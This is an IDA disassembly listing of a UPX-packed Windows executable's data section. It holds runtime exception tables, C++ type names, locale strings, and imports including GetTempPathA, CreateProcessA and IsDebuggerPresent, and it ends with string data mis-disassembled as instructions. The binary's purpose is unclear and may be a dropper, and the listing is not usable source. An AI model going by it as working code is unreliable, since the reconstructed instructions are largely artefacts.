		dd offset off_40FDD4
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	40DD60h, 3 dup(0)
dword_40DDA0	dd 4256h, 435Bh, 58D0h,	9998h, 9E54h, 0B01Ch, 0B037h, 0B05Dh
					; DATA XREF: UPX1:0040DB30o
					; UPX1:00413AF8o
		dd 0B085h, 0B0A8h, 0B0C3h, 0B0DEh, 0B0FEh, 0B121h, 0B144h
		dd 0
dword_40DDE0	dd 2 dup(0)						; sub_406958+7o
dword_40DDE8	dd 2 dup(0)						; sub_40697C+7o
dword_40DDF0	dd 0				dd offset sub_401FC8
		dd 0
		dd offset dword_40DE2C
		dd 0FFFFFFFFh, 40B014h
dword_40DE08	dd 19930522h, 1, 40DE00h, 5 dup(0)		dd 1
dword_40DE2C	dd 3, 40DE3Ch, 40E280h,	40E29Ch, 0		dd offset off_40F004
		align 8
		dd 0FFFFFFFFh, 0
		dd 28h,	402073h
dword_40DE58	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_402687
		align 8
dword_40DE78	dd 0FFFFFFFEh, 0		dd 0FFFFFF80h, 0
		dd 0FFFFFFFEh, 40412Ah,	40412Eh, 0FFFFFFFEh, 4040F0h, 404104h
dword_40DEA0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4048A7
		align 10h
dword_40DEC0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_404A48
		dd 0FFFFFFFEh, 0
		dd offset sub_404A54
dword_40DEE8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_404E28
		align 8
dword_40DF08	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_404F76
		align 8
dword_40DF28	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_405538
		align 8
dword_40DF48	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset loc_4057C1
		align 8
dword_40DF68	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_405E3C
		align 8
dword_40DF88	dd 0FFFFFFFEh, 0		dd 0FFFFFF8Ch, 0
		dd 0FFFFFFFEh, 406941h,	406945h, 0
dword_40DFA8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_406C76
		align 8
		dd offset loc_406C38
		dd offset loc_406C42
dword_40DFD0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 406D1Fh,	406D28h, 40h, 2	dup(0)
; ---------------------------------------------------------------------------
		jmp	fword ptr [ebp+40h]
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 40DFECh
dword_40E020	dd 19930522h, 2, 40DFFCh, 1, 40E00Ch, 3	dup(0)		dd 1, 0
dword_40E048	dd 0FFFFFFFEh, 0		dd 0FFFFFFB4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_406F37
		align 8
		dd offset loc_406EA7
		dd offset loc_406EB0
dword_40E070	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 40711Eh,	407122h, 0
dword_40E090	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 4071B7h,	4071BBh
dword_40E0AC	dd 0		; ---------------------------------------------------------------------------
		jmp	loc_41211F
; ---------------------------------------------------------------------------
		align 4
		dd offset dword_40E0BC
dword_40E0BC	dd 2, 40E0C8h, 40E29Ch,	0		dd offset off_40F380
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	407677h, 0
dword_40E0E8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 407793h,	407797h, 0
dword_40E108	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 4077E3h,	4077E7h, 0
dword_40E128	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4079C9
		align 8
dword_40E148	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_407CFD
		align 8
dword_40E168	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_407FAF
		align 8
dword_40E188	dd 0FFFFFFFEh, 0		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 0
		dd offset sub_4083F1
		align 8
dword_40E1A8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 408465h,	408481h, 0
dword_40E1C8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_409265
		align 8
dword_40E1E8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4093CA
		align 8
dword_40E208	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 4095D9h,	4095EDh, 0
dword_40E228	dd 0FFFFFFFEh, 0		dd 0FFFFFFC0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4097D3
		align 8
dword_40E248	dd 0FFFFFFFEh, 0		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 4098C9h,	4098E0h, 0
		dd offset off_40FD5C
		align 10h
		dd 0FFFFFFFFh, 0
		dd 28h,	40180Eh, 0
		dd offset off_40FD7C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 28h,	401826h, 0
		dd offset off_40FD9C
		align 8
		dd 0FFFFFFFFh, 0
dword_40E2B0	dd 0Ch,	402457h, 3, 40E264h, 40E280h, 40E29Chdword_40E2C8	dd 0							; sub_401606+48o ...
		dd offset loc_40134D
		dd 0
		dd offset dword_40E2B0+8
		dd 0
		dd offset off_40FDB8
		dd 0
		dd 0FFFFFFFFh, 0
dword_40E2EC	dd 0Ch,	401A71h, 2, 40E2D8h, 40E29Chdword_40E300	dd 0							; sub_402371+54o
		dd offset sub_4012A3
		dd 0
		dd offset dword_40E2EC+8
		dd 0FFFFFFFFh, 40B052h
dword_40E318	dd 19930522h, 1, 40E310h, 5 dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 1, 0
		dd 1, 0
		dd 40h,	2 dup(0)
		dd offset sub_40194F
		dd 40h,	2 dup(0)
		dd offset loc_4018DD
		dd 2 dup(2), 3,	1, 40E35Ch, 2 dup(0)
		dd 3, 1, 40E36Ch
dword_40E3A4	dd 19930522h, 4, 40E33Ch, 2, 40E37Ch, 3	dup(0)		dd 1, 0FFFFFFFFh, 40B0A0h
dword_40E3D0	dd 19930522h, 1, 40E3C8h, 5 dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_401B44
		dd 2 dup(0)
		dd 2 dup(1), 40E404h
dword_40E428	dd 19930522h, 2, 40E3F4h, 1, 40E414h, 3	dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset sub_401ACA
		dd 2 dup(0)
		dd 2 dup(1), 40E45Ch
dword_40E480	dd 19930522h, 2, 40E44Ch, 1, 40E46Ch, 3	dup(0)		dd 1, 0FFFFFFFFh, 2 dup(0)
		dd offset loc_40B0F9
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset sub_4017FB
		align 10h
		dd 1, 2, 1, 40E4BCh
dword_40E4E0	dd 19930522h, 3, 40E4A4h, 1, 40E4CCh, 3	dup(0)		dd 1, 0FFFFFFFFh, 40B119h
dword_40E50C	dd 19930522h, 1, 40E504h, 5 dup(0)		dd 1, 0FFFFFFFFh, 40B13Ch
dword_40E538	dd 19930522h, 1, 40E530h, 5 dup(0)		dd 1, 2A9h dup(0)
		dd offset aBadAllocation ; "bad	allocation"
off_40F004	dd offset off_40C1EC	; DATA XREF: UPX1:0040DB44o
					; UPX1:0040DB6Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
off_40F030	dd offset aBadAllocation ; DATA	XREF: sub_402358+3o
					; "bad allocation"
		dd offset aBadAllocation ; "bad	allocation"
		align 10h
		dd offset aBadAllocation ; "bad	allocation"
off_40F044	dd offset off_40C1EC	; DATA XREF: UPX1:0040DBA8o
					; UPX1:0040DBC8o
		dd 0
a_?avtype_info@	db '.?AVtype_info@@',0
dword_40F05C	dd 2							; sub_4060C3+19r
dword_40F060	dd 0B5D19D12h						; sub_401E85+6r ...
dword_40F064	dd 4A2E62EDh						; sub_406A55+29w ...
dword_40F068	dd 0FFFFFFFFh						; sub_40470B+13r ...
dword_40F06C	dd 8							; sub_404694+1Er ...
dword_40F070	dd 1		dword_40F074	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_40F1D8	dd 0Ch,	8	dword_40F1E0	dd 73132AC5h						; sub_405819+45w
		align 10h
		dd offset aBadAllocation ; "bad	allocation"
		align 10h
dword_40F200	dd 2		off_40F204	dd offset aR6002FloatingP ; DATA XREF: sub_405F23:loc_406053r
					; "R6002\r\n- floating point support not loa"...
		dd 8, 40C79Ch, 9, 40C770h, 0Ah,	40C6D8h, 10h, 40C6ACh
		dd 11h,	40C67Ch, 12h, 40C658h, 13h, 40C62Ch, 18h, 40C5F4h
		dd 19h,	40C5CCh, 1Ah, 40C594h, 1Bh, 40C55Ch, 1Ch, 40C534h
		dd 1Eh,	40C514h, 1Fh, 40C4B0h, 20h, 40C478h, 21h, 40C380h
		dd 22h,	40C2E0h, 78h, 40C2CCh, 79h, 40C2BCh, 7Ah, 40C2ACh
		dd 0FCh, 40C2A8h, 0FFh,	40C298h
dword_40F2B8	dd 0C0000005h, 0Bh, 0					; sub_40493F+6Eo
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_40F330	dd 3							; sub_4060FC+AFr ...
dword_40F334	dd 7							; sub_4060FC+B5r ...
		dd 78h
dword_40F33C	dd 0Ah							; sub_409624+4r
		dd 0FFFFFFFFh, 0A80h, 0Ch dup(0)
		dd 10h,	40DA40h
off_40F380	dd offset off_40C1EC	; DATA XREF: sub_407321+128o
					; UPX1:0040DBF0o ...
		align 8
a_?avbad_except	db '.?AVbad_exception@std@@',0
off_40F3A0	dd offset dword_4105E0	; DATA XREF: sub_40785C:loc_407899w
					; sub_4078A5+8o ...
dword_40F3A4	dd 1				dd offset dword_4105F8
		dd 1, 2	dup(0)
		dd offset byte_410610
		dd 1, 410628h, 1, 2 dup(0)
		dd offset dword_410640
		dd 1, 410658h, 1, 410670h, 1, 2	dup(0)
		dd offset dword_410688
		dd 1, 2	dup(0)
		dd offset dword_4106A0
		dd 1, 4106B8h, 1, 4106D0h, 1, 2	dup(0)
		dd offset dword_4106E8
		dd 1, 410700h, 1, 410718h, 1, 22h dup(0)
off_40F4C0	dd offset aHH		; DATA XREF: sub_4078A5+2Ao
					; sub_4078A5+4Ao
					; "	   h((((		  H"
		align 8
dword_40F4C8	dd 43h,	0						; sub_407B43:loc_407B8Eo ...
dword_40F4D0	dd 1, 15h dup(0)					; sub_407C55+28o ...
		dd offset dword_40F4C8
		dd 3 dup(0)
		dd offset dword_40F4C8
		dd 3 dup(0)
		dd offset dword_40F4C8
		dd 3 dup(0)
		dd offset dword_40F4C8
		dd 3 dup(0)
		dd offset dword_40F4C8
		dd 3 dup(0)
		dd 2 dup(1), 3 dup(0)
		dd offset off_40FBE0
		dd 2 dup(0)
		dd offset asc_40D1C8	; "	    (((((		   H"
		dd offset dword_40D5D0+80h
		dd offset dword_40D5D0+200h
		dd offset off_40FB20
off_40F5A8	dd offset dword_40F4D0	; DATA XREF: sub_4047F1+93r
					; sub_40493F+D2r ...
		dd 1
off_40F5B0	dd offset dword_40F4D0	; DATA XREF: sub_40AE76+17o
		dd offset dword_40F5B8
dword_40F5B8	dd 17h dup(0)						; sub_40493F+9Ao ...
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	31h dup(0)
		dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh
		dd 76757473h, 7A797877h, 0
		db    0
		align 2
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0
		align 4
		dd 21h dup(0)
byte_40F7D8	db 0			; DATA XREF: sub_408290+102w
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	23h dup(0)
byte_40F8E0	db 0			; DATA XREF: sub_408290+11Ew
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		db    0
aAbcdefghijkl_0	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0
		dd 21h dup(0)
off_40F9E0	dd offset dword_40F5B8	; DATA XREF: sub_407F17+4Cr
					; sub_407F17:loc_407F89r ...
byte_40F9E4	db 1			; DATA XREF: sub_4080B7+111r
		db 2, 4, 8
dword_40F9E8	dd 3A4h		dword_40F9EC	dd 82798260h, 21h, 0dword_40F9F8	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
off_40FAD8	dd offset sub_40A845	; DATA XREF: sub_4094A7:loc_4094ABr
		dd offset sub_40A845
		dd offset sub_40A845
		dd offset sub_40A845
		dd offset sub_40A845
		dd offset sub_40A845
		dd offset sub_40A845
		dd offset sub_40A845
		dd offset sub_40A845
		dd offset sub_40A845
byte_40FB00	db 3			; DATA XREF: UPX0:00409D5Br
					; UPX0:loc_409D7Er
		align 4
dword_40FB04	dd 19930520h, 3	dup(0)					; sub_409F49+2o
		dd offset asc_40D1C8	; "	    (((((		   H"
		dd offset dword_40D3C8+2
		align 10h
off_40FB20	dd offset aSun		; DATA XREF: sub_407A03+D9o
					; UPX1:0040F5A4o ...
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset aDecember	; "December"
		dd offset aAm		; "AM"
		dd offset aPm		; "PM"
		dd offset aMmDdYy	; "MM/dd/yy"
		dd offset aDdddMmmmDdYyyy ; "dddd, MMMM	dd, yyyy"
		dd offset dword_40D5D0+300h
		dd 409h, 1, 0
		dd offset off_40FB20
		dd 2Eh			; DATA XREF: UPX1:off_40FBE0o
off_40FBE0	dd offset dword_40FBDC	; DATA XREF: sub_407A03+14o
					; sub_40A0FB+Br ...
off_40FBE4	dd offset dword_4107F0	; DATA XREF: sub_40A0FB+1Dr
off_40FBE8	dd offset dword_4107F0	; DATA XREF: sub_40A0FB+2Fr
off_40FBEC	dd offset dword_4107F0	; DATA XREF: sub_40A13B+Cr
off_40FBF0	dd offset dword_4107F0	; DATA XREF: sub_40A13B+1Er
off_40FBF4	dd offset dword_4107F0	; DATA XREF: sub_40A13B+30r
off_40FBF8	dd offset dword_4107F0	; DATA XREF: sub_40A13B+42r
off_40FBFC	dd offset dword_4107F0	; DATA XREF: sub_40A13B+54r
off_40FC00	dd offset dword_4107F0	; DATA XREF: sub_40A13B+66r
off_40FC04	dd offset dword_4107F0	; DATA XREF: sub_40A13B+78r
		dd 2 dup(7F7F7F7Fh), 40FBE0h
dword_40FC14	dd 0FFFFFFFEh						; sub_407F17+13r ...
		dd 1, 2Eh, 1, 3	dup(0)
		dd 7080h, 1, 0FFFFF1F0h, 0
dword_40FC40	dd 545350h, 0Fh	dup(0)dword_40FC80	dd 544450h, 0Fh	dup(0)		dd offset dword_40FC40
		dd offset dword_40FC80
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h,	0B5h, 0D4h, 0F3h
		dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
		dd 96h,	0B4h, 0D3h, 0F2h, 110h,	12Fh, 14Dh, 16Ch, 2 dup(0)
		dd offset aMozilla	; "Mozilla"
		dd offset aBadAllocation ; "bad	allocation"
		dd offset aBadAllocation ; "bad	allocation"
off_40FD5C	dd offset off_40C1EC	; DATA XREF: UPX1:0040DC3Co
					; UPX1:0040DC64o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_40FD7C	dd offset off_40C1EC	; DATA XREF: UPX1:0040DC8Co
					; UPX1:0040DCB0o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_40FD9C	dd offset off_40C1EC	; DATA XREF: UPX1:0040DB94o
					; UPX1:0040DCFCo ...
		dd 0
a_?avexception@	db '.?AVexception@std@@',0
off_40FDB8	dd offset off_40C1EC	; DATA XREF: UPX1:0040DCD8o
					; UPX1:0040DD30o ...
		align 10h
a_?avbad_alloc@	db '.?AVbad_alloc@std@@',0
off_40FDD4	dd offset off_40C1EC	; DATA XREF: UPX1:0040DD58o
					; UPX1:0040DD78o
		dd 0
		dd 56413F2Eh, 6E695743h, 656C6946h, 4040h, 5 dup(0)
dword_40FE00	dd 73537D2Fh						; sub_402191+3r
dword_40FE04	dd 0							; UPX0:loc_40B1D1w ...
		align 10h
dword_40FE10	dd 0							; sub_402371+32w
dword_40FE14	dd 0							; sub_4062B7:loc_4062C9r ...
		dd 0
dword_40FE1C	dd 0							; sub_409C89+15r ...
dword_40FE20	dd 73133A56h						; sub_404A60+51r ...
dword_40FE24	dd 0FD3EA6Fh						; sub_404A60+3Dw ...
dword_40FE28	dd 0FD3E6EAh						; sub_404A60+4Aw ...
dword_40FE2C	dd 0FD24BF8h						; sub_404A60+5Ew ...
dword_40FE30	dd 0							; UPX0:off_40C274o
dword_40FE34	dd 0				dd 0
dword_40FE3C	dd 0				dd 10h dup(0)
dword_40FE80	dd 0							; sub_404CDE+DFr
		align 8
dword_40FE88	dd 0							; UPX0:0040C278o
		dd 22h dup(0)
word_40FF14	dw 0			; DATA XREF: sub_404CDE+4Fw
		align 4
word_40FF18	dw 0			; DATA XREF: sub_404CDE+48w
		align 4
word_40FF1C	dw 0			; DATA XREF: sub_404CDE+41w
		align 10h
word_40FF20	dw 0			; DATA XREF: sub_404CDE+3Aw
		align 4
dword_40FF24	dd 0		dword_40FF28	dd 0		dword_40FF2C	dd 0		dword_40FF30	dd 0		dword_40FF34	dd 0		dword_40FF38	dd 0		dword_40FF3C	dd 0		dword_40FF40	dd 0							; sub_404CDE+85r
word_40FF44	dw 0			; DATA XREF: sub_404CDE+33w
		align 4
dword_40FF48	dd 0		dword_40FF4C	dd 0		word_40FF50	dw 0			; DATA XREF: sub_404CDE+2Cw
		align 4
		dd 80h dup(0)
dword_410154	dd 73537D2Fh	dword_410158	dd 0							; sub_4053D3+29r ...
		align 10h
dword_410160	dd 2							; sub_4055F2:loc_40561Ar ...
dword_410164	dd 0A28h	dword_410168	dd 501h		dword_41016C	dd 5							; sub_405629+30r
dword_410170	dd 1		dword_410174	dd 0		dword_410178	dd 0				align 10h
dword_410180	dd 0							; sub_4062B7:loc_40637Cr ...
		align 10h
dword_410190	dd 0				align 8
byte_410198	db 0			; DATA XREF: sub_4056F7+2Dw
		align 4
dword_41019C	dd 0		dword_4101A0	dd 0							; sub_4056F7+B4w
dword_4101A4	dd 0		dword_4101A8	dd 0				align 10h
dword_4101B0	dd 6 dup(0)			db 0
byte_4101C9	db 3 dup(0)		; DATA XREF: sub_405F23+8Ao
		dd 40h dup(0)
		db 0
byte_4102CD	db 0			; DATA XREF: sub_405F23+92w
		align 10h
		dd 7Dh dup(0)
dword_4104C4	dd 0		dword_4104C8	dd 41h dup(0)	byte_4105CC	db 0			; DATA XREF: sub_40652A+24w
		align 10h
dword_4105D0	dd 0							; sub_4065E3+24w ...
dword_4105D4	dd 390000h						; sub_404E31+72r ...
dword_4105D8	dd 73130A5Ch						; sub_4077F6+Bw
		align 10h
dword_4105E0	dd 155C40h, 0FFFFFFFFh,	3 dup(0)					; UPX1:off_40F3A0o
		dd 0FA0h
dword_4105F8	dd 155C68h, 0FFFFFFFFh,	3 dup(0)		dd 0FA0h
byte_410610	db 90h			; DATA XREF: UPX1:0040F3B8o
		db 5Ch,	15h, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h, 155CB8h, 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h
dword_410640	dd 155CE0h, 0FFFFFFFFh,	3 dup(0)		dd 0FA0h, 155D08h, 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h, 155D30h, 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h
dword_410688	dd 155D58h, 0FFFFFFFFh,	3 dup(0)		dd 0FA0h
dword_4106A0	dd 155D80h, 0FFFFFFFFh,	3 dup(0)		dd 0FA0h, 155DA8h, 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h, 155DD0h, 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h
dword_4106E8	dd 155DF8h, 0FFFFFFFFh,	3 dup(0)		dd 0FA0h, 155E20h, 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h, 155E48h, 0FFFFFFFFh, 3 dup(0)
		dd 0FA0h
dword_410730	dd 0				dd 8 dup(0)
dword_410754	dd 0							; sub_40803D+1Dw ...
word_410758	dw 0			; DATA XREF: sub_408290+E7w
		align 4
		dd 2 dup(0)
dword_410764	dd 0		dword_410768	dd 0		dword_41076C	dd 0		dword_410770	dd 0							; sub_408578+21Cr ...
dword_410774	dd 0							; sub_40916E+CAr ...
dword_410778	dd 73537D2Fh						; sub_409665:loc_4096AEo ...
dword_41077C	dd 73537D2Fh						; sub_409665:loc_409704o ...
dword_410780	dd 73537D2Fh	dword_410784	dd 73537D2Fh						; sub_409665:loc_409710o ...
		dd 0
dword_41078C	dd 73537D2Fh			dd 2 dup(0)
dword_410798	dd 73537D2Fh	dword_41079C	dd 0FD3C506h						; sub_409843+11r ...
		dd 0Fh dup(0)
dword_4107DC	dd 0							; sub_409A5B+61w ...
dword_4107E0	dd 0							; sub_409A5B:loc_409BB6r
dword_4107E4	dd 0							; sub_409A5B+179r
dword_4107E8	dd 0							; sub_409A5B:loc_409B31r
dword_4107EC	dd 0							; sub_409A5B+E2r ...
dword_4107F0	dd 0							; UPX1:off_40FBE8o ...
dword_4107F4	dd 0							; sub_40A226+37w ...
dword_4107F8	dd 0							; sub_40A460+3Aw ...
		dd 2Fh dup(0)
dword_4108B8	dd 0							; sub_4010EC+149w ...
dword_4108BC	dd 0							; sub_4010EC:loc_40121Dw ...
dword_4108C0	dd 0							; sub_401000+2Bo ...
dword_4108C4	dd 0							; sub_401000+23r ...
dword_4108C8	dd 0							; sub_401606:loc_401663w ...
dword_4108CC	dd 0							; sub_40854Dr ...
dword_4108D0	dd 0							; sub_40854D+6r ...
dword_4108D4	dd 0							; sub_408505+36w ...
dword_4108D8	dd 0							; sub_408578+2FCw ...
dword_4108DC	dd 0							; sub_40888Cr ...
dword_4108E0	dd 0							; sub_408578+249r ...
dword_4108E4	dd 1							; sub_404F20+13r ...
dword_4108E8	dd 0							; sub_406718+BFw ...
		dd 5 dup(0)
dword_410900	dd 0							; sub_406718+67r ...
		dd 3Fh dup(0)
dword_410A00	dd 0		dword_410A04	dd 0							; sub_402569+A5w ...
dword_410A08	dd 0							; sub_402569+8Bw ...
dword_410A0C	dd 0							; sub_4062B7+3r ...
dword_410A10	dd 0		dword_410A14	dd 0							; sub_405665+74o ...
dword_410A18	dd 0		dword_410A1C	dd 0							; sub_405020+28r ...
dword_410A20	dd 0		dword_410A24	dd 0							; sub_40625A:loc_40626Br ...
		dd 576h	dup(0)
		db  60h	; `
		align 4
		db    0
		db 0B0h, 2 dup(0)
		db    1
aGetstdhandle	db 'GetStdHandle',0
		dw 4701h
aEttempfilename	db 'etTempFileNameA',0
		db    1
aCreateprocessa	db 'CreateProcessA',0
		db    1
aGettemppatha	db 'GetTempPathA',0
		dw 4301h
aReatefilea	db 'reateFileA',0
		db 1
aWritefile	db 'WriteFile',0
		dw 5201h
aEadfile	db 'eadFile',0
		db    1
aGetfilesizeex	db 'GetFileSizeEx',0
		db 1
aClosehandle	db 'CloseHandle',0
		db    1
aGetfilesize	db 'GetFileSize',0
		db 1, 53h, 65h
aTfilepointer	db 'tFilePointer',0
		db 1, 53h, 65h
aTendoffile	db 'tEndOfFile',0
		db 1
aTerminateproce	db 'TerminateProcess',0
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcess',0
		db    1
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		dw 5301h
aEtunhandledexc	db 'etUnhandledExceptionFilter',0
		db 1
aIsdebuggerpres	db 'IsDebuggerPresent',0
		db 1
; ---------------------------------------------------------------------------


loc_41211F:				; CODE XREF: UPX1:0040E0B0j
		inc	edi
		db	65h
		jz	short loc_412166
		outsd
		insd
		insd
		popa
		outsb
		db	64h
		dec	esp
		imul	ebp, [esi+65h],	48010041h
		db	65h
		popa
		jo	short near ptr loc_412177+4
		jb	short loc_41219C
		add	gs:[ecx], al
		inc	edi
		db	65h
		jz	short loc_412194
		db	65h
		jb	short loc_4121B4
		imul	ebp, [edi+6Eh],	417845h
		add	[eax+65h], ecx
		popa
		jo	short near ptr loc_41218D+2
		insb
		insb
		outsd
		arpl	[eax], ax
		add	[edi+65h], eax
		jz	short loc_4121A8
		jb	short near ptr loc_4121C8+1
		arpl	[ebp+73h], sp
		jnb	short near ptr loc_4121A6+1
		db	65h
		popa
		jo	short $+2
		add	[edi+65h], eax


loc_412166:				; CODE XREF: UPX1:00412120j
		jz	short loc_4121BB
		jz	short near ptr loc_4121C8+3
		jb	short loc_4121E0
		jnz	short near ptr loc_4121DC+2
		dec	ecx
		outsb
		outsw
		inc	ecx
		add	[ecx], al
		push	edx
		popa


loc_412177:				; CODE XREF: UPX1:00412133j
		imul	esi, [ebx+65h],	65637845h
		jo	short loc_4121F4
		imul	ebp, [edi+6Eh],	74520100h
		insb
		push	ebp
		outsb
		ja	short near ptr loc_4121F4+1
		outsb


loc_41218D:				; CODE XREF: UPX1:0041214Cj
		add	fs:[ecx], al
		inc	edi
		db	65h
		jz	short loc_4121E1


loc_412194:				; CODE XREF: UPX1:0041213Bj
		outsd
		db	64h
		jnz	short near ptr loc_412202+2
		db	65h
		dec	eax
		popa
		outsb


loc_41219C:				; CODE XREF: UPX1:00412135j
		db	64h
		insb
		db	65h
		inc	ecx
		add	[ecx], al
